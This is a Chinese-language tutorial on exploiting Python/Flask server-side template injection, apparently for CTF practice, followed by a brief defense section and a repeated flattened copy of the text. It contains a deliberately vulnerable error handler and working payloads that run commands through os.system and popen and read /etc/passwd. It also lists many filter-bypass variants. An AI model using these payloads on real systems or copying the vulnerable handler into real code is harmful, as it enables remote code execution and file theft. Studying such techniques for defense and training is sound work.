Python模板注入(SSTI)深入学习
字数 1057 2025-08-25 22:58:46

Python模板注入(SSTI)深入学习文档

一、模板注入基础概念

1. 什么是模板

模板类似于作文中的"好词好句"套用机制,在Web开发中,模板引擎允许开发者将动态数据嵌入静态HTML结构中。

2. 什么是模板注入(SSTI)

当不正确地使用模板引擎进行渲染时,用户输入被直接拼接进模板并执行,导致攻击者能够注入恶意模板代码,从而执行任意代码。

二、Flask SSTI漏洞示例

1. 漏洞代码示例

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.errorhandler(404)
def page_not_found(e):
    template = '''
    {% block body %}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
    {% endblock %}
    ''' % request.args.get('404_url')
    return render_template_string(template), 404

2. 漏洞利用

访问不存在的页面并传入404_url参数:

http://example.com/notfound?404_url={{7*7}}

页面将显示49而非{{7*7}},证明模板注入存在。

三、Python SSTI利用链

1. 关键Python方法/属性

  • __class__: 返回对象所属的类
  • __bases__: 以元组形式返回类直接继承的类
  • __base__: 以字符串返回类直接继承的类
  • __mro__: 返回方法解析顺序
  • __subclasses__(): 获取类的所有子类
  • __init__: 类的初始化方法
  • __globals__: 获取函数所处空间的全局变量

2. 基本利用流程

  1. 获取任意对象的类:

    "".__class__  # 获取str类
    
  2. 获取基类Object:

    "".__class__.__mro__[1]  # 或 "".__class__.__bases__[0]
    
  3. 获取所有子类:

    "".__class__.__mro__[1].__subclasses__()
    
  4. 寻找可执行命令或读取文件的类:

    • 查找包含osfile等关键字的类
    • 使用__init__.__globals__检查模块
  5. 执行命令:

    "".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__['os'].system('id')
    

四、Bypass技巧

1. 过滤引号绕过

  • 使用数组代替字符串:

    [].__class__  # 代替 "".__class__
    
  • 使用request.args传递参数:

    {{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
    
  • 使用chr()函数:

    ().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
    

2. 过滤中括号绕过

  • 使用__getitem__方法:
    "".__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(300).__init__.__globals__.os
    

3. 过滤小括号绕过

  • 如果完全过滤小括号,则无法执行函数,只能获取信息如config

4. 过滤关键字绕过

  • 双写绕过(如果只是替换为空):

    "".__clasclsass__
    
  • 字符串合并:

    "".__getattribute__("__cla"+"ss__")
    
  • 使用request对象:

    {"".__getattribute__(request.args.a)}}&a=__class__
    
  • 使用字符串原生函数:

    "".__class__ == "".__getattribute__("__class__")
    

5. 模块阉割绕过

  • 使用reload重载模块:
    reload(__builtins__)  # Python2
    import imp; imp.reload(__builtins__)  # Python3
    

6. 过滤{{}}绕过

  • 使用{% %}标签或其他模板语法

7. 过滤点号绕过

  • 使用字典访问方式:

    ""["__class__"]  # 代替 "".__class__
    
  • 完整示例:

    {{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
    

五、防御措施

  1. 避免直接将用户输入拼接进模板
  2. 对用户输入进行严格过滤
  3. 使用模板引擎的安全渲染方式
  4. 更新到最新版本的框架

六、总结

Python SSTI的核心是利用Python的对象继承链,从任意对象出发,通过__class____bases____subclasses__()等方法获取到能够执行命令或读取文件的类。在CTF中,需要根据不同的过滤情况灵活运用各种绕过技巧。

Python模板注入(SSTI)深入学习文档 一、模板注入基础概念 1. 什么是模板 模板类似于作文中的"好词好句"套用机制,在Web开发中,模板引擎允许开发者将动态数据嵌入静态HTML结构中。 2. 什么是模板注入(SSTI) 当不正确地使用模板引擎进行渲染时,用户输入被直接拼接进模板并执行,导致攻击者能够注入恶意模板代码,从而执行任意代码。 二、Flask SSTI漏洞示例 1. 漏洞代码示例 2. 漏洞利用 访问不存在的页面并传入 404_url 参数: 页面将显示49而非 {{7*7}} ,证明模板注入存在。 三、Python SSTI利用链 1. 关键Python方法/属性 __class__ : 返回对象所属的类 __bases__ : 以元组形式返回类直接继承的类 __base__ : 以字符串返回类直接继承的类 __mro__ : 返回方法解析顺序 __subclasses__() : 获取类的所有子类 __init__ : 类的初始化方法 __globals__ : 获取函数所处空间的全局变量 2. 基本利用流程 获取任意对象的类: 获取基类Object: 获取所有子类: 寻找可执行命令或读取文件的类: 查找包含 os 、 file 等关键字的类 使用 __init__.__globals__ 检查模块 执行命令: 四、Bypass技巧 1. 过滤引号绕过 使用数组代替字符串: 使用 request.args 传递参数: 使用 chr() 函数: 2. 过滤中括号绕过 使用 __getitem__ 方法: 3. 过滤小括号绕过 如果完全过滤小括号,则无法执行函数,只能获取信息如 config 4. 过滤关键字绕过 双写绕过(如果只是替换为空): 字符串合并: 使用 request 对象: 使用字符串原生函数: 5. 模块阉割绕过 使用 reload 重载模块: 6. 过滤 {{}} 绕过 使用 {% %} 标签或其他模板语法 7. 过滤点号绕过 使用字典访问方式: 完整示例: 五、防御措施 避免直接将用户输入拼接进模板 对用户输入进行严格过滤 使用模板引擎的安全渲染方式 更新到最新版本的框架 六、总结 Python SSTI的核心是利用Python的对象继承链,从任意对象出发,通过 __class__ 、 __bases__ 、 __subclasses__() 等方法获取到能够执行命令或读取文件的类。在CTF中,需要根据不同的过滤情况灵活运用各种绕过技巧。